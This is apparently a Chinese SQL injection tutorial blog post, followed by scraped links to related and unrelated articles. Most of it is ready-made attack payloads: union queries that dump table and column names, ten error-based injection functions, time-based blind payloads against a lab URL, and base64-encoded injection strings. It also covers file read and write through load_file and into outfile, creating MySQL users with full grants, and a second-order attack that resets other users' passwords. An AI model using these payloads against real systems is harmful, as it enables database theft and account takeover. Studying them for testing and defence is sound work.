渗透之路基础 -- SQL注入
mysql注入(上)
获取字段数:order by x 去临界值
获取数据库名:database()
获取数据库版本:version()
information_schema : mysql5.0版本以上自带数据库,记录当前mysql下的所有数据库名,表名,列名。
information_schema.tables : 记录表名信息的表
information_schema.columns : 记录列名信息的表
table_name 表名
column_name 列名
schema_tables 数据库名
数据库 "." 代表下一级的意思
limit 有两个参数 limit 2,3 表示从2开始查3条
通过MySql内置数据库获取表名
union select 1,group_concat(table_name),user(),4,5,6,7 from information_schema.tables where table_schema=database()
通过MySql内置数据库获取表名对应的列名
union select 1,group_concat(column_name),user(),4,5,6,7 from information_schema.columns where table_name='users'
mysql注入(中)
数据库用户 user()
操作系统 @@version_compile_os
SQL常用函数
| 函数名称 | 函数说明 |
|---|---|
| MID(要截取的字符串,起始位置,结束位置) | 截取字符串 |
| CHAR(ASCII) | 返回ASCII码对应的字符 |
| ASCII(字符) | 返回字符对应的ASCII码 |
| IF(逻辑表达式,返回值1,返回值2) | 用于判断 |
| SUBSTR(要截取的字符串,起始位置,结束位置) | 截取字符串 |
| LENGTH(字符串) | 返回字符串长度 |
| COUNT(列名) | 返回当前列名下有效记录数 |
| SLEEP(s) | 静止s秒,数字类型,可自定义 |
| #、/**/、-- | 注释符 |
| CONCAT(字符串1,字符串2..) | 拼接字符串 |
| LOAD_FILE(文件名称) | 加载文件 |
| INTO OUTFILE ‘文件名称’ | 输出 |
常用十大报错函数
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
mysql注入文件操作(root权限)
load_file() 文件读取 |select load_file('C:/xx');
添加普通用户
insert into mysql.user(Host,User,Password) values('127.0.0.1','user',passwrod('user'));
CREATE USER 'user'@'%' IDENTIFIED BY 'user';
赋予权限 GRANT ALL ON book.* TO 'user'@'%';
删除用户 drop user 'user'@'%'
root 用户下的读取

user 用户下读取

读取不到文件检查secure_file_priv:

show global variables like '%secure%
修改mysql.ini 文件,在[mysqld] 下加入
secure_file_priv =
重启mysql

into outfile ' ' 写入函数 |select '123' into outfile 'C:/xx';
网站路径获取
1、报错显示 warning
2、谷歌黑客
3、读取配置文件
4、漏洞报错
5、遗留文件
6、字典猜解
注意路径符号及编码
转换工具(小葵多功能转换工具)
mysql注入(下)
防注入,
魔术引号 magic_quotes_gpc


安全函数 addslashes
解决:编码绕过或宽字节注入


高权限跨库注入
条件:root权限
获取所有数据库名
select schema_name from information_schema.schemata

被转义,利用十六进制转换
获取所有表名 table_schema=0x787373('xss')
http://192.168.207.128/test/sqlin.php?x=1 union select user(),2,3,table_name,5,6,7,8 from information_schema.tables where table_schema=0x787373
获取所有列名 table_name=0x6F635F75736572('oc_user')
http://192.168.207.128/test/sqlin.php?x=1 union select user(),2,3,column_name,5,6,7,8 from information_schema.columns where table_name=0x6F635F75736572

获取指定数据 from xss.oc_user
http://192.168.207.128/test/sqlin.php?x=1 union select userName,2,3,userPwd,5,6,7,8 from xss.oc_user

注意点:
跨库查表:库名.表名
提交方式注入
<?php
$a=$_GET['x']; // 接受get请求方式的参数x
$b=$_POST['y']; // 接受post请求方式的参数y
$c=$_COOKIE['z']; // 接受cookie请求方式参数z
echo $a."<hr>";
echo $b."<hr>";
echo $c."<hr>";
?>


POST登录框注入
可以将注入代码写入输入框
COOKIE验证注入
(burp抓包)
HTTP头注入
实际情况下,有部分站点接受数据是以http数据包中的http头部进去的数据接受,所以测试注入需要在头进行注入
例如源码为:

通过burp修改 http 头注入:


参数类型注入
数字,字符,搜索型
数字型:
id = 1
字符:
id = 'admin' //单引号的处理
搜索型:
id like '%admin%'
组合:id = admin%' union select 1,2 '%
参数加解密注入
base64
假设源码:
$id=base64_decode($_GET['x']);


转换之后 1 的base64为 MQ==

加密注入,需要将注入代码通过base64加后注入
1 union select userName,2,3,userPwd,5,6,7,8 from xss.oc_user
# base64加密后
MSB1bmlvbiBzZWxlY3QgdXNlck5hbWUsMiwzLHVzZXJQd2QsNSw2LDcsOCBmcm9tIHhzcy5vY191c2Vy

盲注攻击
普通联合注入和盲注区别
pt:效率高,兼容差
盲注:效率较低,兼容性强
工具采用的基本为盲注
盲注通过if + >或< 二分法提高效率
--基于时间的延迟注入(上)
sleep()
select * from users where user_id=1 and sleep(1);

if(条件,True,False)

mid(str,1,1) 截取

ord 编码(ascii)
length 长度

应用

http://192.168.207.128/test/sqlin.php?x=1 and sleep(if((select database()='dvwa'),0,5))
若没猜对数据库名,则会延迟

--基于时间的延迟注入(下)
猜表名:
length 长度
http://192.168.207.128/test/sqlin.php?x=1 union select 1,2,3,sleep(if(length(table_name)=4,0,5)),5,6,7,8 from
information_schema.tables where table_schema=database() limit 0,1
# limit 分页

mid(str,1,1) 截取

# 表全名称为 users
# mid(str,1,1) 从第一位开始截取一个字符
select mid(table_name,1,1) from information_schema.tables where table_schema=database() limit 1,1;
ord 编码(ascii)

# 结合mid截取出的字符 以ASCII码输出
# 表名 users
select ord(mid(table_name,1,1)) from information_schema.tables where table_schema=database() limit 1,1;
综合应用
# 用字符验证
union select 1,2,3,sleep(if(mid(table_name,1,1)='a',0,5)) from
information_schema.tables where table_schema=database() limit 0,1
# 用ASCII验证
union select 1,2,3,sleep(if(ord(mid(table_name,1,1))=97,0,5)) from
information_schema.tables where table_schema=database() limit 0,1
猜列名类似
--基于布尔逻辑注入
--基于报错提示注入
参考文章https://websec.ca/kb/sql_injection
insert注入
$user=$_GET['u'];
$sql="INSERT INTO users (id,username,password) values (2,'$user','123456')";
Mysql_query($sql);
利用updatexml()获取数据
利用extractvalue()获取数据
利用name_const()获取数据
利用子查询注入获取数据
or updatexml(1,concat(0x7e,(version())),0) or
insert into users (id,username,password) values (2,'admin' or updatexml(1,concat(0x7e,(version())),0) or'','Nervo');
or extractvalue(1,concat(0x7e,database())) or
or (select * from (select(name_const(version(),1)),name_const(version(),1))a) or
update注入
用户注册,密码修改,信息删除
1、sql注入组合拼接,保证sql语句正常运行
2、sql语句中闭合使用(符号或截断)
3、每个不同注入方式和网站应用功能有关
update users set password='nicky' or
updatexml(2,concat(0x7e,(version())),0) or'' where id=2 and username='user';
update users set password='nicky' or
extractvalue(1,concat(0x7e,database())) or'' where id=2 and username='user';
update users set password='nicky' or
(select * from (select(name_const(version(),1)),name_const(version(),1))a) or'' where id=2 and username='user';
delete limit 注入
delete from users where id=2 or update users set password='nicky' or'';
delete from users where id=2 or extractvalue(1,concat(0x7e,database())) or'';
delete from users where id=2 or (select * from (select(name_const(version(),1)),name_const(version(),1))a) or'';
Access 联合及逐字猜解
<%
id=request("id")
sql="select * from product where id="&id
set rs=conn.execute(sql)
%>
1、猜解同mysql
猜不到:
字典收集(社工)
Access 偏移注入
猜解字典工具:明小子Domain
2、access 攻击片段--逐字猜解 // 兼容好
查表:and exists (select * from 表名)
查列:and exists (select 列名 from 表名)
查数据:
1、确定长度
2、确定asc数据(asc编码)
and (select top 1 len(列名) from admin)=5
and (select top 1 asc(mid(列名,位数,1)) from admin)=97
工具 啊 D
注入工具
啊D,明小子,穿山甲,萝卜头havij,sqlmap
Access 常见复杂及问题注入
表名,列名无法获取
1、社工,对比网站url
www.xxx.com/pw_news.asp
表名:pw_admin,pw_manage,pw_system
2、列名无法获取
access偏移注入,社工,后台源码中参数名

工具制作原理:
字典爆破,逐字猜解
偏移注入:表名知道即可
1、用 “*” 代替字段,

select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 逐个删除,


* 可以看作字段数
* = 6个字符
2 x * = 12字符
22 - 12=10 字符
若在减6个 还是不出现

添加一句:from (admin as a inner join admin as b on a.id=b.id)(一级注入)

一级偏移
select 1,2,3,4,5,6,7,8,9,10 from (admin as a inner join admin as b on a.id=b.id)
二级偏移
select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

经典二次注入

注册用户,修改密码
修改密码语句基本为,
update users set password='111111' where username='test' and password='123456'
存在二次注入:
test为攻击目标用户
提前注册好 用户名为 test'#
直接修改任意用户
语句为:update users set password='111111' where username='test' #' and password='123'
原理:# 截断,后面语句失效
MSSQL注入点攻击分类
分注入点权限渗透:思路
sa权限
执行命令 文件管理 数据库管理等
拿shell
文件列举及写入
密码获取后台拿shell
执行命令提权
db权限
文件读取 单个数据库管理
密码获取后台拿shell
public权限
单个数据库管理
密码获取后台拿shell
渗透之路基础 -- SQL注入的更多相关文章
- 渗透之路基础 -- SQL进阶(盲注和报错注入)
SQL注入之盲注 实战过程中,大多情况下很少会有回显,这个时候就要去使用盲注技术 盲注,Blind SQL Injection,听这名字就感觉整个过程就是一个盲目的过程 当注入时,没有任何提示的时候, ...
- 渗透之路基础 -- XXE注入漏洞
XXE漏洞 XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件, ...
- 【web渗透技术】渗透攻防Web篇-SQL注入攻击初级
[web渗透技术]渗透攻防Web篇-SQL注入攻击初级 前言不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的S ...
- Web渗透测试入门之SQL注入(上篇)
题记: 本来今天想把白天刷的攻防世界Web进阶的做个总结,结果估计服务器抽疯环境老报错,然后想了下今天用到了SQL注入,文件上传等等,写写心得.相信很多朋友都一直想学好渗透,然后看到各种入门视频,入门 ...
- 实验八 Web基础 SQL注入原理
实验八 Web基础 实验要求 (1)Web前端HTML 能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML. (2)Web前端javascipt ...
- 安全测试基础-SQL注入详解
1:什么是SQL注入 SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行. www.xx.com/news.php?id=1 ...
- 基础SQL注入
预备知识对mysql数据库有一定了解:对基本的sql语句有所了解:对url编码有了解:空格=‘%20’,单引号=‘%27’,双引号=‘%22’,井号=‘%23’等 基本步骤1. 判断是什么类型注入,有 ...
- 渗透之路基础 -- 跨站脚本攻击XSS
目录 漏洞原理及防御 XSS 原理分析:输出问题导致js代码被识别执行 XSS 技术分类 Cookie盗取 基于Xss的WebShell箱子的攻击 XSS相关防护过滤及绕过分析(参考链接) 防护: 绕 ...
- 渗透之路基础 -- 服务端请求伪造SSRF
简介:SSRF 服务器端请求伪造,有的大型网站在web应用上提供了从其他服务器获取数据的功能.使用户指定的URL web应用获取图片,下载文件,读取文件内容.通常用于控制web进而探测内网服务以及攻击 ...
随机推荐
- 全栈工程师知识点汇总——html5(上)
一.HTML5 1.新特性: 1. 取消了过时的显示效果标记 <font></font> 和 <center></center> ... 2. 新表单元 ...
- xutils3 上传文件操作——个人小计
上传文件注意: 使用KeyValue对象进行添加文件操作 int uid = 2; //普通字段的存储 requestParams.addBodyParameter("uid", ...
- 用tcp协议实现一个并发的socketserver 进行密文登录
先在客户端进行摘要,客户端把用户名作为盐. 然后在服务端进行二次摘要,用固定的盐(不能让别人知道你的盐是什么),然后存到文件中,密文存储.或者和文件中的密文对比. 这样即使在网络上用户信息被截获,和存 ...
- 2019杭电多校第二场hdu6601 Keen On Everything But Triangle
Keen On Everything But Triangle 题目传送门 解题思路 利用主席树求区间第k小,先求区间内最大的值,再求第二大,第三大--直到找到连续的三个数可以构成一个三角形.因为对于 ...
- IT界的复仇者联盟解读
漫威宇宙应用到IT界也是可以解读的,自从编程语言分了派系后,故事就多了,今天我们就用漫威宇宙的故事来解读一下IT界的故事. 漫威宇宙其实也就讲了一件事,整个宇宙就好比一个Java项目,其中有一群叫做美 ...
- python的发展史
python的发展史 1989年,被称为龟叔的Guido在为ABC语言写插件时,产生了写一个简洁又实用的编程语言的想法,并开始着手编写.因为其喜欢Monty Python喜剧团,所以将其命名为pyth ...
- python带有GIL解释器锁
1.GIL是什么?GIL的全称是Global Interpreter Lock(全局解释器锁),来源是python设计之初的考虑,为了数据安全所做的决定. 2.每个CPU在同一时间只能执行一个线程(在 ...
- 微信小程序设计总结
微信小程序是一种全新的连接用户与服务的方式,它可以在微信内被便捷地获取和传播,同时具有出色的使用体验. 小程序提供了一个简单.高效的应用开发框架和丰富的组件及API,帮助开发者在微信中开发具有原生 A ...
- 04-kubernetes网络通信
目录 kubernetes网络通信 需要解决的问题 flannel Calico/Cannel kubernetes网络通信 需要解决的问题 同一个pod内部的不同容器间通信, local Pod间的 ...
- Hadoop自学系列集(二) ---- CentOS下安装JDK
上篇我们讲述了如何使用VMware安装CentOS系统,接下来就看如何安装我们最为熟悉的jdk吧!安装前先看看系统上有没有安装过jdk,输入java -version,如果查询出了其他版本的jdk版本 ...